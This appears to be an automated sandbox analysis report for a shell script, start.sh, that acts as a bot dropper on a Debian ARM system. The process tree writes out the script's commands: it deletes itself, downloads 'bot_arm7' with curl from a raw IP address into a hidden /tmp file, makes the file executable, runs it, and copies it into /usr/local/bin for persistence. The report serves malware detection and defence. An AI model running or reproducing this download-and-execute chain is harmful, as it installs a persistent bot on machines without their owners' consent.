Overview

overview

7

Static

static

1

start.sh

ubuntu-18.04-amd64

7

start.sh

debian-9-armhf

7

start.sh

debian-9-mips

7

start.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/06/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    start.sh
  • Size 2KB
  • Sample260601-phf55adv7l
  • SHA256 2d26b804e3c1f12adc4cde17b83fffde4a2e0cfbbeeab23e39d0362a406ad1f8
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoverypersistence

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Write file to user bin folder 1 IoCs
    persistence
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 5 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/rm
      rm -f /tmp/start.sh
      2⤵
        PID:642
      • /bin/uname
        uname -m
        2⤵
          PID:645
        • /bin/date
          date "+%s"
          2⤵
            PID:647
          • /usr/bin/curl
            curl -fsSL http://80.94.92.170:80/bot_arm7 -o ./.sys_cache_1780310211
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:651
          • /bin/chmod
            chmod +x ./.sys_cache_1780310211
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/.sys_cache_1780310211
            ./.sys_cache_1780310211
            2⤵
            • Changes its process name
            • Reads runtime system information
            PID:749
            • /bin/sh
              sh -c "cp -f /tmp/.sys_cache_1780310211 /usr/local/bin/containerq 2>/dev/null"
              3⤵
                PID:752
                • /bin/cp
                  cp -f /tmp/.sys_cache_1780310211 /usr/local/bin/containerq
                  4⤵
                  • Write file to user bin folder
                  • Reads runtime system information
                  PID:753
              • /bin/sh
                sh -c "cp -f /tmp/.sys_cache_1780310211 /var/tmp/.containerq 2>/dev/null"
                3⤵
                  PID:754
                  • /bin/cp
                    cp -f /tmp/.sys_cache_1780310211 /var/tmp/.containerq
                    4⤵
                    • Reads runtime system information
                    PID:755

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .sys_cache_1780310211
                  • Path /tmp/.sys_cache_1780310211
                  • Size 77KB
                  • SHA256 b3d3a081ef15341506af698536a6309be6f1451d53b6bddd0568d3c6860848fa
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download